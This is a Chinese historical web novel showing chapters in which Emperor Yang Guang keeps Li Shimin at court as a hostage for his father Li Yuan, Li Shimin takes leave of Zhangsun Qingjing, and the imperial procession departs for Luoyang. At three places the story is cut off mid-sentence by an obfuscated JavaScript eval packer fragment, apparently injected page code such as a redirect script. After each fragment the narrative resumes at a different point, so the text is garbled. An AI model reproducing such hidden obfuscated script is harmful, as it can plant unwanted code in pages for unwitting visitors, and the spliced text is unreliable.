“好。”嗜血的渴望暂时收敛,奢靡的贪欲开始滋长。“朕在大兴时,总觉得自己会一天天衰朽下去。现下朕打算取道洛阳,然后巡幸塞北以张天威。之后用事于辽东,让牙尖嘴利搬弄是非之人看看到底谁才是‘张四维而临万宇,侔三皇而并五帝’的一代雄主。至于你,择日前往陇右慰抚豪右,为朕分忧。总之,你告诉那些大族,玄感之事过去了,只要今日起竭诚尽忠,皇帝便既往不咎……” “臣定当殚精竭虑,万死不辞!”李渊几乎喜极而泣,竭尽全力叩谢圣恩。 “只是朕这里还有一件为难的要紧事情须得叔德相助。”杨广又开始矫情地试探。 “但得陛下一言,虽千万人吾往矣!”李渊也以同样的造作回应表弟。 “你呀,不要把朕所嘱之事想得那么骇人听闻嘛!我即将前往东都,宫廷宴饮、游猎之时年轻人多才热闹有趣……我听闻叔德次子擅长骑射又能言善辩,心中很是喜欢,于是想将他带在身边,令他从幸东都及塞北,一来彰显我对唐公荣宠,二来方便你我交通,三来也希望他眼界开阔将来成为国朝栋梁之才……不知你意下如何?” 这事态果真如外甥女所料!皇帝的眼线果然对他家中情况了如指掌,将自己的最爱的儿子扣在身边来要挟他安心讨贼,确实老到又不着形迹。他在脑中挨个儿排查谁给皇帝出的馊主意——裴蕴,他会直接罗织罪名;裴矩,他忙着西域事务;虞世基,他没这胆子;宇文化及,他没这脑子…… 李渊把所有狎客佞臣的行事风格在心中转了一圈却毫无头绪,心中默念:“莫非这是皇帝自己的主意?那是再糟糕没有了。” 他只觉得自己和儿子都凶多吉少,不禁锁眉,俯首道:“只是犬子他……”念及一家老小及关中河东亲眷,他终于狠心改口道,“犬子向来顽劣,今得陛下拔擢,实是三生有幸!臣安敢不奉陛下口谕!” “我见见自家小亲戚而已,说什么幸不幸的?我记得这孩子小时候,我还在母亲文献皇后处见过他。对了,你家二郎名唤作什么来着?” “世民。” “哪两个字!” 李渊内心承认这个名字带着一点与自己身份不太匹配的野心,但是也不算太过张扬。但是他还是把“济世安民”的初心给吞回喉咙口。 现在的他比杨广本人更加厌烦诸如“日月照龙舟,淮南逆水流,扫尽杨花落,天子季无头”之类的民谣。每次在朝堂上听到同僚们谈及“李氏当为天子”的谶语,他都恨不得捂住对方的嘴。 此刻,他只想尽量让皇帝从猜忌中舒缓过来,用毕生急智去圆一个谎:“是《晏子春秋》里的话:‘婴则齐之世民也,不维其行,不识其过,不能自立也。’陛下也许曾听臣僚们笑话臣,自从长子出生后,又连生五女,迟迟等不到第二个儿子。等到了这个孩子,又有新的忧虑。次子无法袭爵,臣又实在宠爱他,便一直妄想着这孩子成为齐相晏婴一般的宰执,这名字确实有些惹人耻笑了。” 杨广也被这一番看似实在的剖析逗乐了:“你这阿婆面不但长得像阿婆,就连心思也这么婆婆妈妈!哈哈,不过父母的舐犊之情不该被耻笑。嗯,不维其行,不识其过,不能自立也。这句话朕是说不出的喜欢。这样吧,让这孩子先当个库直,好生准备,随朕同去东都。一路上给皇子皇孙们做个伴也好……我也倦了,细枝末节就让云定兴、宇文化及再与叔德详说。”说罢摆手示意李渊离开。 一路急趋的李渊险些撞倒了尚寝局捧着各色香料和香囊盒前来的女史。 “又有皇亲国戚多活了一天?这次是谁虎口脱身?”心直口快的年轻女史嘟囔着。 11. 话别(1) 唐国府。 李世民一边解佩刀一边脱胡服,风一样跑过几重门。大叫:“阿耶,阿娘,大哥,四弟!我今天过得可快活呢。”依稀的、沉闷的暮鼓声回荡在滞涩的空气里。 一身素衣的长孙纫佩像只突如其来的小猫,叫着“阿舅”跌进了他怀里。 女孩手里举着一只豆娘双股钗向他炫耀:“外祖母给我的。” 四姊李陇月上前招呼女儿:“不要到处跟人炫耀首饰。” “四姊也在啊。”李世民逗弄着三岁地甥女,有些惊喜。 “孝政大祥过了,他父母允我带女儿回李家小住。”李陇月慨叹道,“琼曦姊来信说过几日来陪我……” “令武来吗?”女孩捕捉到了母亲与舅父言谈中最重要的讯息。 “来。”李陇月微笑点头。 长孙纫佩开心地从舅父怀中滑落到地上,跑到庭中看孔雀。 “她知道吗?”李世民指了指长孙纫佩,意有所指。 “我也不太明白小孩子的心思,她有时不太明白为什么父亲去了洛阳那么久都不回来看她,有时又跟大孩子似的说阿耶在北邙地下也不知道怕不怕黑?这孩子以后的路估计比别人难走些——”四娘李陇月叹道。 阿姊你也是啊——李世民默默说道。 “阿娘,阿舅,孔雀开屏啦!”长孙纫佩指着孔雀向长辈们报讯 又是一个丧父的女孩。李世民皱了皱眉。鼻子有些发酸。 唐国夫人窦氏迎上来去,嗔怪道:“你父亲与兄弟去大兴四处拜会故旧,你却缺席;四娘好不容易与我们重聚,你又不见了踪影——该罚!” 窦夫人的语气并不严厉,只是纯粹的玩笑,她继而又转向孔雀开屏的方向:“你看纫佩这孩子,是不是越长越漂亮了?” “当然,越长越像她外祖母了。”李世民露出一个顽皮的微笑。 李陇月招呼长孙纫佩回屋:“阿娘,二弟,你们说要事吧……”她的神色,突然又凝重起来,似乎从即将完全除去丧服的释然中跌入另一种不详的预感中。 窦夫人上前正色道:“毘提诃,你差点被缇骑抓去打板子的事待会再说。我先与你说正经事——你阿耶不日将去陇右赴任,为陛下安抚豪族……” “陛下终于重用阿耶了?天大的喜事啊。”李世民匆匆换下靴子,“阿娘,我今日……” 他觉得今日简直双喜临门:父亲高升,自己又幸遇佳人!他与母亲一向无话不谈,他一定要为那个给自己点评诗文、陪自己看日晕的女孩在大吹大擂一番,让母亲也心生好感。 窦氏做了一个噤声的动作:“但是你父亲得到今日的地位是有交换条件的……”她些许停顿了一下,踌躇着怎么说才不至于太刺激这个从小都不离父母身边的儿子:“作为效忠的条件之一,你必须以库直的名义留在陛下身边,从幸东都。世民,你应该懂得陛下的意思。我和你父亲也会设法令你早日归家……算了,这些还没影的后话先不提……你那性子,和达官贵戚也不知合不合得来?” 若是早年,窦氏听闻皇帝要将儿子留在身边,一定会撺掇儿子勉力奉承主上,为自己谋一个锦绣前程。如今眼见天下狼烟四起,皇帝昏悖颟顸,李氏名在图谶,窦氏未免心生异志,便不愿意儿子如人质、如佞臣般伴驾于杨广身边了。 “也就是说,我,一个唐国公无法袭爵的儿子的自由换来了阿耶的新任命?现在父亲手里有骁勇的兵士,有自由裁夺的权柄,有笼络人杰的机缘?”李世民笑嘻嘻地问母亲。 “是。”窦氏也不知这孩子为什么如此兴奋。 “那把我送出去换个好官职就行!就是父亲在涿郡如此尽职,陛下才给我个库直,连个校尉也不赏我,未免太小气了。”李世民回复了孩子气的抱怨。 “就你话多!库直也是随口说的,没有门下任命。”窦氏手执纨扇打向儿子的脑袋,轻轻落下。她心中感慨,这不愧是自己最爱的儿子,总能设身处地为家人着想,“该做些什么心中可有数?” 李世民略一思索道:“是,明白。”李玄霸的去世让窦氏深受打击,气疾时常发作。此时再如小儿女一般惺惺作态怕是会让母亲承受不住。 李世民便很托大地向母亲承诺:“阿娘勿要担心,不就是陪着陛下吃喝玩乐外加游猎吗?样样都是我精通的。” 见窦氏瞪了自己一眼,他又赶紧补充道:“得觐天颜,自然每天在陛下面前感慨父亲忠贞为国,若是有小人进谗,一定要拼了此身为父亲辩白,切不可逞一时之气。” 窦氏有些倦容,坐回茵褥上:“让你最后一个得知此事,阿耶阿娘也觉得有些对不住你。不过你兄长毗沙门为人怯懦,遇事不敢据理力争,我只怕他受奸人欺凌;玄霸身体尚佳时倒是很适合做个弈棋待诏、作诗待诏,可惜天不假年;三胡相貌丑陋,连我都厌恶他,送去陛下身边恐怕给你父亲惹祸;智诠年幼又兼妾生之子,没有资格,皇家还会认为李氏故意轻慢。思来想去,既然有奸佞告知主上你是唐公爱子,皇帝又点名要你去东都,便断没有偷梁换柱的道理。” 李世民长跪在窦氏身边:“无妨,阿娘,这是一笔阿耶稳赚的买卖,我会小心的。你替我准备一下即可。还有,我看中了都会市的一只白鹘很久了,央了阿耶很久都不许买。这次就算作为补偿答应我罢。” 窦氏点头道:“好。现在全家都仰仗二郎在皇帝跟前周全,可不得讨好你吗?——对了,你方才说今日见了何人?是不是之前跟我说过的前任右骁卫将军的儿子?你又得跟长安的好友一一作别了,真是人生无常!” 李世民握着母亲冰凉的手,微笑道:“没什么大事,我改日跟你说。时辰不早了,母亲早些歇息,养病要紧。我晚上再问问父兄有何嘱咐。” 也许这就是七彩的日晕的预言?少年谨慎地思忖着,祸福相倚,父母的担忧兴许是自己的时运呢。 “明天先把终南山的石子送到玄霸墓前,再去找王无锝买白鹘,随后跟她告别。”想起长孙青璟时,他的心被一只猫爪轻轻挠着,很是惬意。 “来日方长,父母现在正在为我的事愁肠百结,父亲方才为全家躲过一场杀身之祸,母亲最近为又气疾所扰。我若是今晚急不可待地提起她,显得既不体恤父母也不尊重她,还是等我平安归家了,再跟他们细说青璟的事情。啊,说不定归家之日我已经立下军功,擢升六品校尉了,到时风风光光去找她,堂堂正正恳求父母,也不算唐突佳人。岂不妙哉?”想到此处,他走路都带起来一阵旋风,心中最后一丝阴霾也消散了。 次日晨钟响起不久,都会市最负盛名的鹰隼铺里,主人王无锝正检视一排排鸟笼,旁若无人。李世民紧随其后。 “不,‘将军’是不卖的!”王无锝自顾自给鹞鹰们喂食,斩钉截铁地回答。“前日宇文家遣人来游说,说愿以先帝所赐珍宝换取我的‘将军’——谁不知道宇文化及又想将我的爱物骗去充当主上的玩物。我当即便回绝了。王某有个坏毛病——我的鹰隼,凶猛,聪明,忠贞,从不自卖自夸,识货的自然懂,非高价不卖,非真心爱鹰之人不卖!” “开个价吧。”李世民逗弄着白鹘,一副志在必得的淡定模样。 王无锝回头道:“李公子,以你我嗜鹰隼如命的共同志趣,以你我多年来的交情,这满室鹰隼随公子选取,我心甘情愿相赠——唯独白鹘‘将军’是例外。我实在是舍不得它,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱雀街上,李世民与家生一人一骑,缓缓前行。 李世民叮嘱这驯养禽类的家生道:“我只给你十日,让‘将军’习惯从东都别业到终南别业的路程。论理是无甚大碍吧?” 家生抚摸着白鹘回答:“那王无锝确实并非虚夸,就短短相处片刻,我便可认定‘将军’灵性极佳,飞越这点路程理应不在话下……二郎——家中还有有几件要紧事,娘子嘱咐我务必提醒你。” “嗯?” “娘子特别嘱咐公子忙完此事之后速回府,试穿宫廷时兴的宴服;之后勿忘再看一卷陛下的诗文,最好背出来,晚上由大郎考问;张后胤先生说,别的经学课业可以放一下,最近跟着他学一下吴语;国公说,皇帝喜欢写诗,二郎最近也得学写诗,能唱和就行,反只要写不过皇帝,就不会因为这个招来杀身之祸……” “你不准笑话我写的诗!” “这是国公的原话。” “你等等,”李世民一时听得头晕目眩,勒紧缰绳。“除了我的傻弟弟,家里还有比我更镇定的人吗?” “我看没有。——柴府那边说可以让马三宝过来陪二郎练习弓马。——公子,今天在外面也逛得够了,还是回府跟着张夫子学写诗、学说吴语吧。” “张先生不是昆山人吗?” “昆山属吴郡。” “你真是博闻强识。”李世民调转马头。“我稍后再学这些无用的课业,先去南山高氏别业散散心再说。” 家生焦虑地问道:“娘子要是问起,我可如何交待?” “就说我被白鹘叼去了终南山,回不去了——驾——”李世民头也不回地纵马远去。 12. 话别(2) 胭脂色的朝霞铺展在南山上空,不久碎开,从横竖的纹理中漫出了千万道金光,在南山上空织成宏伟的锦缎。秀拔的峰峦,蔓披的树林,萋萋的芳草由青黛转为油绿。 高氏别业前厅,李世民焦急地踱步等待婢女小娄的回禀。他该和长孙青璟说些什么呢? 好消息是他父亲升迁了,成为皇帝的准心腹敲打陇右豪强;坏消息是:皇帝还是不够信任他父亲,升迁的代价是携他李世民同去东都。 ——前者似乎不该成为他炫耀的话题,后者又平淡得不值一提。 她会担心他吗?无论如何,他需要亲自与她道别,设法表明心迹又不能吓到她。 一阵细碎的脚步声传来,小娄匆匆从内室跑向前厅,把李世民从纷乱地思绪中拉回来。 “如何?”他今日的行事确实有些莽撞,心中惴惴不安,又渴望有人回应自己的热情。他甚至不敢抬头看小娄的脸,总觉得这个伶俐的女孩子正在默读他内心所想,然后告诉那些围拢在长孙青璟身边的点茶的、梳妆的、捧砚的各色婢女,大家便一齐在背后笑话他! 小娄上前致意,今日的胭脂搽得过浓,令人觉得有些滑稽。 “禀李公子,南山别业中现在只有长孙娘子一人。娘子说,难得休沐,郎君甥舅二人皆在大兴与陆词陆法言夫子和他的高徒长孙敏行公子交游。老夫人,我家鲜于娘子与高娘子恰好由两位郎君携去了大兴善寺,不到暮鼓擂起之时怕是不会出城。娘子感念公子今日前来拜会我家治礼郎与小郎君。但事不凑巧,亦不愿耽搁公子时间,便命奴婢如实相告。娘子帮不上公子什么忙,只得待家人回府后禀明公子来访一事,公子只待我家小郎君不日回访便可。若事有紧急,娘子便令家生前往城中将人都寻了回来,不过只怕公子枯坐无聊。不知公子意下如何?” 这是直接下逐客令了吗?李世民顿感兴意阑珊,觉得之前两人在磐石上开心谈笑一事只是自己的一厢情愿。 长孙青璟是个循礼端庄的女子,不过因为舅父与兄长的面子勉强与自己见上一面罢了,他怎么就胡思乱想这么一个矜持的女孩会给自己什么逾礼的暗示了。 他果然既自大又唐突,活该吃闭门羹。 李世民摆手道:“我岂敢为一点小事劳动高府上下大动干戈,既惹得治礼郎与你家小郎君败兴而归,又搅扰诸位娘子们难得的清闲。” “那公子今日只得白走一遭了,娘子特命奴婢再三致歉。——娘子已经嘱咐家生给公子的白蹄乌喂饱粮草,公子你看……”小娄心中也不免遗憾,准备引导李世民离去,眼珠子却是灵活地转个不停。 “难道就此打道回府学写诗?”李世民心中嘀咕,忍不住再为自己挣扎一下,“等一等——娄娘子,烦劳再为我转达一次,我今日之事说大不大,说小不小,若是无人转告,只怕要等到数年后再与治礼郎一家相见了,到那时物是人非,令人不忍卒想。我自踌躇不知所措,劳你家娘子为我出个主意。” “好啊!公子再等等!”小娄点头,灼红的脸色随着阳光忽闪忽闪,好像两条赤狐尾巴在恣意摇摆。 她也如插翅般疾跑回报。 “喂——不要再喂了,马要撑死了。”马厩处传来少女与部曲的争执,李世民猜测那是阿彩在大呼小叫。他居然连她贴身婢女的声音都记得,真是荒唐又甜蜜,滑稽又酸涩! “无妨。尽管喂。白蹄乌是千里马,饕餮之甚,撑不死的!”李世民大声回应着。 高氏别业正堂,观音婢端坐于主座之上,指尖局促地在凭几上打着拍子,时不时瞥一眼两边的贴身侍女。她的面前摆上了一扇屏风。 小娄延请李世民进入正堂,李世民隔屏风向长孙青璟模糊的身影致意,然后落座。阿江奉上新煮的茶水与菓子。 “我也不知公子前来。准备仓促,阿江毛手毛脚的,茶也煮得急了些,不过把冰片龙脑给减量了。菓子也做得粗劣了些,不过里面夹着刚晒的桂花干。不成敬意,望公子海涵。”长孙青璟拨弄着身前的茶杯,也不知李世民来意。 “哪里?分明是李某唐突求见,搅扰府上,蒙娘子看在治礼郎与尊兄面上愿听某一番罗唣,实在是感激不尽。”李世民小心翼翼地说道,只怕一言不合被轰出别业。 “公子但说无妨,我尽力一字不漏代为转达。”长孙青璟懒散地说道。 “蒙祖宗荫庇,我已被皇帝陛下任命为库直,不日随法驾前往东都及北地,此事急迫,片刻耽搁不得。今日前来的本意是向治礼郎及无忌道别的……”屏障后把玩茶杯的手突然僵硬了,停滞了。 长孙青璟低头轻叹:“可惜舅父与兄长错过了饯行的机会……”她努力呈现满脸笑意,“我在此冒昧代替舅父及兄长恭祝公子此去深蒙圣眷,平步青云。” 李世民耸耸肩,自嘲道:“其实傻子也看得出陛下的意图,我自烦恼,娘子休要取笑某了。陛下不过是把我当成要挟父亲的——” “公子休要胡言乱语。”长孙青璟喝止道。 李世民讪笑道:“是了是了。只不过这一去不知陛下何时放我归来。我的性子是极随意的,一想起宫中那些矫揉造作的应酬唱和,我的胸口就隐隐憋闷……梁园虽好,终不及南山一二知己,数盏清茶。” 长孙青璟面颊微红,沉默片刻:“有些话,本应是舅父与兄长再三嘱托公子的,我在此冒犯逾矩说一下:公子去到陛下身边,第一要义是千万不可忤逆陛下。世人常说:陛下身边的末等聪明之人乃无论着装谈吐都对陛下言听计从之人,并在陛下允许范围内为国效力;次等聪明之人为对陛下的诗文烂熟于心,能与陛下唱和又处处低陛下一二等的人,他们甘当“狎客”,不问政事;一等聪明人的阿谀奉承不留痕迹并时时处处以陛下之好恶为好恶,为陛下铲除异己不遗余力,此等人虽为世人不耻,却在当世炎焰张天,令世人敢怒不敢言。” 李世民吃惊地望着屏风上那个模糊的身影,她简直把他昨晚辗转反侧时的所想一一分门别类,令人醍醐灌顶。 “舅父与无忌不愿公子成为那一等聪明人,因那些人在我眼中其实不甚聪明,虽令人欣羡一时,终究逃不过家毁人亡的结局,富贵浮梦只在旦夕之间;硬逼着公子成为那次等聪明之人也过于勉强……” 李世民想到窦氏逼迫自己念杨广诗文,不禁会心一笑,佩服起这个少女来。 “娘子说得正合我心,唱和一二尚且勉强,狎客们的恶形恶状我更学不来……” 长孙青璟打断了他:“但是,舅父与兄长也不愿公子连那最末等的聪明人也排不上,若是排不上,便可能招来杀身之祸。” “好的,那我就听娘子的,做个末等聪明人!”李世民击节赞叹。 小娄与阿彩忍不住窃窃私语,掩口欲笑。 “公子折煞我了,今日勉力款待公子,全因公子为我舅父与兄长挚交。可我一个闺阁中人,又哪里有资格教导公子呢?不过是鹦鹉学舌,逞一时口舌之快罢了。” 两人又是一阵沉默。李世民觉察出长孙青璟的不快。之前两人的相处,都是经由高士廉与长孙无忌允许,不存在真正意义上的独处。 今日不同之前,代高士廉与长孙无忌仓促款待客人已经是她的极限,自己方才言辞又有些轻佻,连两个婢女都在窃笑。她自然生气了。 “是某失言,向娘子谢罪。谢娘子转达治礼郎与无忌对某的一片赤诚之心,某当铭记在心!”说罢便长揖致谢。 “不敢。”长孙青璟回礼。 “只是还有一事有劳娘子代为转达。”他提醒自己沉住气,哪怕心生好感,也不能造次。 “请讲。” “一件小事而已。我今日购得一只白鹘……” “嗯?” “据前主人说说就是宇文化及垂涎已久的那头‘将军’。” “是吗?他居然没让骁果去抢来占为己有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“何物等流!”李世民误以为长孙青璟被文章激怒,额上不由冒出了冷汗,茶水抖泼了一地,小娄前来收拾,问道:“公子身体是否不适?” 屏风内,阿彩跪地请罪:“奴婢该死!娘子没有被砚池砸到罢?” “承你吉言。皆是我平日里疏忽,将你们一个个惯出了一身懒怠的毛病。如今更是连捧砚这点琐屑小事也干不来了!” “娘子息怒!”阿彩近前为长孙青璟擦拭水渍。 长孙青璟摆手道:“罢了,你离我远些,冒冒失失的,莫再吓到了我。” 说罢执笔写字。不待墨迹干透,便将麻纸叠回原样付与阿彩转交李世民。李世民并不敢细看便胡乱塞入怀中。 他抹了一下汗涔涔的额头:“今日与娘子坐而论道,李某受益颇多。待某回京师之日,定然再来高府拜会,搅扰了娘子雅兴,某在此请辞。”说罢作揖拜别。 “珍重。”屏障里的声音微弱而忧伤。 白蹄乌疾驰在驿道上,待得终南远山融为一片青黑的模糊背景时,李世民勒紧缰绳,从怀中掏出那张皱巴巴的麻纸,深吸一口气铺开。 在大改的文章下书写着: 某在洛城期间,将所见所感敷衍成文。娘子能否不吝赐教?某之侍婢小知将助某办妥交接诗文之事,云云,…… 库直牛马走,李世民再拜言 这行字下面正书写着一个不大不小的“可”字。 李世民将纸叠好,重新收回怀中,吁气微笑。他不由精神百倍,扬鞭打道回府。 一路上,他甚至将身上所有的五铢钱都散给了衣衫褴褛、食不果腹的乞丐。 心仪的女孩准确地接收到了他微妙的小心思,没有发火,没有拒绝,没有把他赶出门,而是默默接受了他的约定。 这个世间对待他比他想象的要宽容美好一些。 13. 话别(3) 大兴皇城朱雀门在九月的晨光中缓缓开启,朱雀大街沿途跪拜的臣民知道,他们的皇帝,将再一次离开西京,前往他钟爱的东都。 杨广虽然讨厌西京,但毫不介意向这群关中的蝼蚁展现圣朝的富足与强盛。百姓们也翘首以盼,渴望一堵皇帝出巡的风采。大驾卤簿就是这种刻意的威压与炫耀。 西京地方官与部分朝廷官员的车马在最前开道,骑兵与步甲兵开始肃清道路。紧随其后的士兵分作两排,两边各持六面龙旗。四匹骏马牵引的指南车、记里鼓车、白鹭车、鸾旗车、辟恶车、皮轩车鱼贯登场。导驾队伍经过,夯土大街上一时烟尘滚滚、遮天蔽日。在一片迷茫中,十二排引驾骑兵宛如天兵降临。他们手持横刀,背负弓箭,马蹄声如雷,趾高气昂地从俯首的百姓头顶掠过。 在骑兵后出现了约莫八百人的鼓吹乐队。为首的两名鼓吹令举旗发令,鼓、大鼓、铙鼓、节鼓、小鼓、羽葆鼓隆隆作响,笛、箫、笳、长鸣、中鸣、大横吹、筚篥吹彻天际,金钲的铿锵声穿透了整条朱雀街。 乐队之后,二十四匹皇帝的御马夹杂在旌旗阵中昂首通过。青龙旗和白虎旗导引朝廷官员的队伍。手持兵器的骑兵和步甲兵不时穿插在官员的队伍中间。 在盛大的、令人目眩神迷的导驾引驾仪仗的后面,皇帝乘坐的玉辂在左右卫大将军和四十多位骁果的严密护卫下缓缓行进,戒备森严。外围是重重的禁军士兵。孔雀扇、小团扇、方扇、黄麾、绛麾、玄武幢在朝阳下流光溢彩,金青铜三色交辉,如珠玉宝石熠熠生辉。 皇后凤辇、嫔妃香车、公主彩舆、诸王车驾依次排列,宛如一条璀璨的长龙,在九月的晨光中向着东方迤逦而去。 皇帝杨广在一场宿醉中醒来又睡去,反反复复。由此带来的钝痛像一把锈刀,反复刮擦着他的颅骨。近侍将他扶上玉辂车时,他才想起今日是前往东都的日子。车辕上悬挂的鎏金铃铛突然无风自动。杨广猛地攥住孔雀蓝锦缎车帷,那些在深夜里啃噬他的诅咒又来了。 “弑父者!他玷污了先皇的宣华夫人!”苏威的声音刺破耳膜。 “房陵王是被冤杀的!把皇位还给房陵王!”废太子杨勇的旧部合力把皇帝架到一颗树下,无头的太子突然从树隙中出现,手中抓着自己的头颅,哀哀戚戚地哭道:“父亲,母亲,睍地伐冤屈啊!” “昏君,他逼死了贺若弼和虞庆则。”转眼间,贺若弼和虞庆则钳制住挣扎的杨广,将鸩酒灌入他口中。 “暗牖悬蛛网,空梁落燕泥。——陛下,你现在写诗可有长进?”早已被赐死的薛道衡就这样凭空出现在杨广眼前,徐徐展开《高祖文皇帝颂》,满眼不屑道,“杨广,你好好听着,我偏要赞美先朝!” 最刺耳的是那些辽东老兵的声音:“陛下还记得在辽东枉死的子弟吗?三十万具尸体在萨水结成了冰!” “暴君,魔鬼!通济渠的水中飘着数不尽的尸首。活着的民夫,眼睁睁地看着蛆虫爬满了自己的肱骨。”通济渠的冤魂们则合唱般呻吟:“我们的白骨——正在龙舟下——闪闪发光,照耀着——开皇——大业!” 玉辂突然剧烈颠簸。杨广掀开车帘,看见朱雀大街上跪拜的百姓全都变成了青面獠牙的恶鬼。他下意识去摸腰间佩剑,但是挡不住恶鬼们将玉辂团团围住。 他从重叠的噩梦中惊醒。杨玄感叛乱之后,他时常觉得命在旦夕。全天下都在看他的笑话——突厥可汗蠢蠢欲动,高句丽王拒绝朝见,倭国使节嘲笑他为日暮之处的天子。 刁钻不识好歹的百姓,首鼠两端的朝臣,多头押注的门阀,危言耸听的谏官,全都加剧了他的头疼! 他明明可以令他们人头落地省却无限麻烦的,但是仁慈的,英明的,励精图治的皇帝杨广仍然宽宏大量地允许他们活着,去加固长城,去拓宽运河,去吐谷浑高句丽开疆拓土。 仁爱的皇帝为了千秋万代的安宁制定这样周密的,宏伟的计划,甚至让他们近距离观看自己的卤簿,让这些愚昧不可教化的百姓对帝国的恢宏感同身受。 他们为什么不感恩戴德! 他叫来小黄门,他需要萧后的陪伴。那是他的糟糠之妻,只有和她在一起才让他觉得安全。 皇后比皇帝年长三岁,她经历了被家族嫌恶抛弃,以附属小国公主的身份成为宗主国的王妃,意外地化作隋压制陈的棋子,又时来运转成为一个崭新的,如朝霞般绚烂的朝代的皇后。 她是一个温婉聪慧的女人。年轻时配合丈夫的野心谋嫡成功,登上后位后冷眼旁观,镇静地熬死了良心不安郁郁寡欢的宣华夫人和绝爱幸的陈婤,中年后痛失太子又忙于弥合皇帝与齐王暕之间的裂痕。 皇帝也许只是按部就班地爱她敬她,视她为糟糕过往里沉淀下的唯一温情,但从来没有把她当成一个有才华,有大志,可以辅佐自己的海内小君。 “实现平生之志毕竟是与孔子获麟一样罕见的事。”皇后为臃肿的、萎靡不振的皇帝梳理着发髻。这句话这既是宽慰皇帝也是对自己命运的唏嘘。 “你说哀公十四年西狩获麟?太不吉利了!那和我的大业有什么关系?” 杨广并不是很满意皇后不痛不痒的安慰。他需要视自己为神祇崇敬仰慕,视他的大业为全副生命的顶礼膜拜。 “皇后也听说了前朝那些乱七八糟的议论了吗?也认为征辽有错?还是开挖运河不妥?”他瑟缩在厚重的衮服中,声音阴沉,沙哑,似乎衣服是他唯一的支撑。 “我们去东都行宫多住一段时间,陛下可以适时大赦天下,阿孩最近行事也收敛了很多,陛下不要与他再计较了……阿昭过世多年,我身为母亲,当然神伤,但是皇孙倓,侗,侑皆幼,陛下为天下计,是否考虑再次立嗣之事?”萧后想为自己,为齐王,为国家的未来再做一次努力。 杨广假装震天的鼓乐盖过了妻子的声音,让他听不真切:“是啊是啊,要是阿昭还在就不会有杨玄感叛乱之事。”他莫名的讨厌齐王,讨厌他一副皇位志在必得的模样。这个儿子和他的父亲,兄弟们一样,时常出现在他的噩梦里。 他还在回避!觉得江山永固,国祚绵延。似乎觉得再来一场军事胜利就能重塑遗失的权威,再来一次远巡就能平息扰攘的异见,贯通一条运河就能周转整个天下。 萧后有些无奈,觉得丈夫始终是一个为所欲为的孩子。只是,当天下成为玩具时,一切都不可遏制地堕向了深渊。 后部鼓吹的乐声如潮水般吞没了时间,笙箫鼓角交织成恢弘的乐章,仿佛连日光都在这音浪中震颤。 帝王仪仗的车队缓缓前行,方辇庄重肃穆,小辇轻巧精致,腰辇华贵典雅,金辂璀璨夺目,象辂沉稳威严,革辂古朴厚重,五副辂次第排列,每一驾皆饰以金银珠玉,在晨晖下熠熠生辉。沿途观礼的百姓仰首屏息,惊叹声此起彼伏,却又在禁军冷峻的目光下迅速沉寂,只余下低低的抽气声。 车队之后,黄麾仗队肃然行进,千牛卫执黄麾大纛,仪容整肃,步履如雷。紧随其后的殳仗队手持青铜殳戟,寒光凛冽,震慑人心。 最后压阵的,是遮天蔽日的旗队。绘有辟邪、玉马、黄龙、麒麟、龙马、三角兽、玄武、金牛等神兽的旌旗猎猎翻飞,在风中舒展如活物。日光穿透旗帜,投下斑斓的光影,整条朱雀大街仿佛被笼罩在一片神话般的华彩之中。 在声光漩涡的末梢,随行低级官员和家眷的车马慢慢前行。李世民就在这些车马的中间。不在大驾卤簿正式队伍中的尴尬处境令他不太想在此时此地遇到沿途观礼的亲友。 漫天黄尘中,他有些意外的看到那一抹活泼的天水碧,后背一下子在马上挺直了。 他策马来到长孙青璟面前,开心得一时只是傻笑。不过他们的相见也不免遗憾,少女毫无一丝惊险地找到少年,少年甚至没有跻身卤簿的正式行列。 更糟糕的是,他们聊不了几句话又要分开了。 “李校尉,无恙啊!”她像只小猫一样慵懒地靠近,风吹开了羃?和满眼的笑意。“我哥哥刚才跟着卤簿去数车辇,旗子和团扇了。我们看导驾和引驾的仪卫里没有你,哥哥就说你你是库直,一定跟哪个藩王的车驾在一起,猜错了赔我一只鹦鹉。我们还在齐王暕,秦王浩、赵王杲和燕王倓的卫队里找你呢!主上不喜欢齐王,秦王只是侄子,赵王年幼又是庶出——嗯——我和哥哥说,你要是和燕王在一起就好了,他是昭德太子的长子,皇帝爱他,将来多半要继承大统的,那你就有从龙之功了……” “谢谢你操心。”李世民脸红了。 “哥哥说我蠢,燕王年幼,齐王能兵,皇后又宠爱齐王。皇帝百年之后叔侄必有一战。我就改口说,那赌齐王,让你给齐王当库直,仍不失从龙之功……” “其实我……” 长孙青璟又兴奋地把她和长孙无忌的争论全盘托出:“我们争了半夜,也没争出个所以然。唉,皇帝的心思真是太难测了——要不你让唐国公求求裴矩,让他说动陛下把你安置在秦王浩身边,他是闲散王爷,你陪他下下棋,练练箭就可以了,也不会卷入夺嫡之争中。” 她俏皮一笑:“之前都是瞎想,你平安回来就好……” “谢谢你为我考虑得那么周全。”李世民低下头,有些抑郁地说道,“其实我还没资格和藩王们在一起。” “啊,我随口说说的,你不要放在心上。陛下到了洛阳就会有所安排了。现在,阿彩又去找我哥哥了——你俩总是阴差阳错。”她甩动着帔帛示意长孙无忌沿街跑回来,“我听大志说,你如今可是校尉啦,与他们几个都不一样了。” “我不是校尉。被人听见要笑话的。”少年的脸有些红,“差校尉太远了。我只是库直,一个古怪低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 